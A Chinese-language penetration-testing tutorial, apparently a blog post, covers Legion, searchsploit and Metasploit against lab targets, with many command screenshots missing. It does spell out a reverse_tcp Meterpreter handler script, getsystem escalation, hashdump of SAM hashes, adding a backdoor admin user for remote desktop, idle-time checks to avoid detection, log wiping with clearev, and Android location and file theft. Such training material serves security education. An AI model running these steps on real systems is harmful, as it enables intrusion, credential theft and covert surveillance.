Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。
Legion主要包含以下功能:端口扫描,程序自动调用Nmap进行扫描,根据Nmap的扫描结果,nikto自动加载结果,展开更精确的扫描。针对扫描结果,使用特定的工具,比如dirbuster目录爆破,利用webslayer进行web指纹识别。针对可暴力破解的端口,调用hydra进行暴力破解。下面我们来看下如何使用这款工具:
首先我们先登录Metasploitable2,通过ifconfig命令获取其IP地址。然后
打开Legion工具。然后输入sudo legion启动工具。
点击加号。
在这里输入你要渗透的ip即可,然后点击submit按钮即可。
首先,大家先记下一个地址:https://www.exploit-db.com/。它是专门用来收集各种漏洞的网站。在kali系统中,有搜索漏洞数据库的本地副本,我们可以在终端窗口中输入命令去搜索。
命令就是searchsploit,它的常用选项如下:
下面我们看下例子:
实践:
Metasploit被业内誉为可以黑掉整个宇宙的工具,虽然有些夸张,但是足以见得Metasploit有多强大。Metasploit是目前最流行、 最强大、最具拓展性的渗透测试平台。2003年由HD摩尔发布第一版,2007年用ruby语言重写。后来被Rapid7收购后,分出了多个版本,有付费的,也有免费的。 Metasploit的官网是:https://www.metasploit.com/。
我们可以在Kali系统中找到该软件:
点击之后输入系统root密码,等待一会后,就变成这样了:
实验靶机:metasploitable2。
实验靶机:win7。
SMB,全称是Server Message Block,即服务信息块,是一个协议名。它能被用于Web链接和客户端与服务器之间的信息沟通。通过扫描SMB,可以识别目标的系统信息。
实验靶机:linux。
扫描服务器的SSH服务。
获取FTP密码。
我们需要一个模拟用户:win7。需要一个实验靶机:Windows server 2008(带有FTP服务)。
SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机等)的一种标准协议,它是一种应用层协议。各种网络设备上都可以看到默认启用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。
本次的实验靶机:Metasploitable2。
默认情况下,Metasploitable2的SNMP服务仅监听本地主机。所以我们需要对靶机的默认配置做一下修改。
实验靶机:多台windows。
使用的模块:auxiliary/scanner/smb/smb_login。
知道ip地址范围即可,批量扫描。
VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件。VNC是在基于UNIX和Linux操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和windows和Mac中的任何远程控制软件媲美。在Linux中,VNC包括以下四个命令:
大多数情况,只需要1、2两个命令即可。
实验靶机:Metaspolitable2。
然后我们试下vnc密码爆破
然后我们有了密码,试下vnc登录。
Wmap本身不是一个独立的漏洞扫描器,而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作,完成目标服务器的扫描任务。它的扫描结果不会自动生成报告,而是直接存入Metasploit的数据库。
实战:
实验靶机:Window Server 2008/Windows 7。
实验靶机:Windows XP。漏洞利用:ms12-004。
实验靶机:windows xp。
前提必须要有一个session会话。
其他模块:
首先,windows、Linux、java、php、Android等后门都支持。嘿嘿。
命令:
Msfvenom:
实践:
实验靶机:Android模拟器。
总体的流程跟windows后门是很类似的,只是使用的模块有些许的区别。我们需要修改一些配置:
实验开始:
然后你就可以干你想干的事了。
我们先来学下文件系统命令:
实践从手机下载文件,上传文件,大家可以自己尝试哦:
具体的Android命令有很多,这里就不多说了,大家有兴趣可以自己去百度查下。然后实现定位就很简单了,使用geolocate命令即可。
有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制。修改注册表、安装后门或导出密码等活动都需要提升用权限。而Meterpreter给我们提供了一个getsystem命令,可以实现提权。
另外,getuid可以获取当前的用户信息,system是系统的最高权限。如果使用system命令仍无法获取,那么接下来可以使用之前学过的漏洞提权。
我们来看下漏洞提权的实践步骤:
提升权限后,可以通过hashdump模块,从SAM数据库中导出本地账号。数据的输出格式是:
用户名:SID:LM哈希:NTLM哈希:::
快速执行命令脚本:每次我们执行的命令内容基本上都是类似的,所以我们可以创建一个文件。
1.然后右键选择用mousepad打开。
2.然后可以把我们常用的命令写到这个脚本里。内容如下:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.129
set lport 5555
3.然后保存文件。
4.打开Metasploit。输入这样的命令:resource /home/(你的用户名)/windows_control。
5.脚本就运行了。
6.然后直接run。
7.再打开被控端就可以了。
execute命令可以可以在目标系统中执行应用程序。该命令的使用方法如下:
然后哈哈哈哈哈,我们可以试一下这个命令:execute -f calc.exe。打开Windows的计算器。哦吼,好玩吧。
screenshot命令来进行截图,并存储在kali中。
screenshare命令可以进行实时的监控。
通过getgui脚本,使用-u和-p参数,并给它分配管理员权限,然后将其添加到远程桌面用户组中。
run getgui -u hack -p pass123
注意:如果你的权限不是SYSTEM,需要用之前学过的方法进行提权。提权之后再用上面的命令创建用户。
如果用户没有开启远程桌面功能,那么可以通过:
run getgui -e
来开启远程桌面。
在开启远程桌面之前,我们还需要使用idletime命令检查远程用户的空闲时常,这样可以降低你被发现的概率。
然后我们在新的终端执行:rdesktop [你的目标ip:3389]。
然后可能你创建的用户权限不够。那么你可以在Meterpreter中执行shell命令,也就是打开你控制的目标主机的终端,执行下面的命令:
net localgroup administrators hack/add。这里的hack就是你之前创建的用户名。
Meterpreter可以通过与其他进程绑定来实现持久化。
可以通过clearev命令来清除日志。
ps:我们可以通过右键计算机-》管理-》事件查看器-》Windows日志。来查看日志。